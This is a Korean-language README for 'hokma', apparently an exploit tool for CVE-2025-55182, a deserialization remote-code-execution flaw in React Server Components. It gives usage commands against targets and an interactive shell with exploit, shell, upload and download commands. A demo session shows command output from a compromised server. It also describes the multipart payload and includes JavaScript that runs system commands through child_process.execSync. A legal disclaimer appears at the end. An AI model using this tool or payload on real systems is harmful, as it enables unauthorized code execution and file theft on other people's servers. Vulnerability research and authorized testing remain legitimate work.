
사용된 기반: https://github.com/Emiyelbarto/CVE-2025-55182-PoC 훌륭한 기여에 정말 감사드립니다.
CVE-2025-55182는 Next.js/React Server Components의 역직렬화 취약점으로, 인증되지 않은 원격 공격자가 영향을 받는 서버에서 임의 코드를 실행할 수 있게 합니다. 이 취약점은 React Server Actions에서 직렬화된 데이터를 부적절하게 처리하는 데서 비롯됩니다.
requests 라이브러리# Clone the repository
git clone https://github.com/yourusername/hokma.git
cd hokma
# Install dependencies
pip install requests
# Make script executable (optional)
chmod +x hokma.py
# Start interactive shell
python hokma.py
# Check vulnerability only
python hokma.py -u http://target.com --check
# Execute single command
python hokma.py -u http://target.com -c "whoami"
help Show this help message
set URL <url> Set target URL
set ID <action_id> Set action ID (default: user-profile-action)
show Show current options
check [url] Check if target is vulnerable
exploit <command> Execute command on target
shell Start interactive command shell
test Run test commands (id, whoami, etc.)
upload <loc> <rem> Upload local file to target
download <rem> <loc> Download remote file (base64 encoded)
clear Clear screen
exit/quit Exit the shell
$ python hokma.py
____ _ ____ _ _ _
| _ \ ___ __ _ ___| |_ / ___|| |__ ___| | |
| |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
| _ < __/ (_| | (__| |_ ___) | | | | __/ | |
|_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands
hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com
hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!
hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200
--- COMMAND OUTPUT ---
www-data
----------------------
hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd
--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit
| 옵션 | 기본값 | 설명 |
|---|---|---|
| 대상 URL | 없음 | 취약한 애플리케이션의 URL |
| 작업 ID | user-profile-action | 대상으로 할 서버 작업 ID |
| 시간 제한 | 3초 | 요청 시간 제한 |
이 도구는 취약한 시스템에서 충돌을 유발하는 특수하게 조작된 multipart 요청을 전송합니다:
{}와 함께 페이로드 ["$1:a:a"]를 사용합니다child_process.execSync()를 사용하여 시스템 명령을 실행합니다const cmd = "COMMAND";
return import('child_process').then(cp => {
try {
const output = cp.execSync(cmd).toString();
return output;
} catch(e) {
return "Command Execution Failed: " + e.message;
}
});
중요한 법적 고지
이 도구는 다음 용도로 사용됩니다:
절대 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 이 도구를 사용하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다.
개발자는 이 도구의 오용에 대해 책임을 지지 않습니다. 사용자는 모든 관련 법률을 준수하고 테스트 전에 적절한 승인을 받아야 합니다.
대상 요구사항:
탐지 제한 사항:
익스플로잇 제약 사항: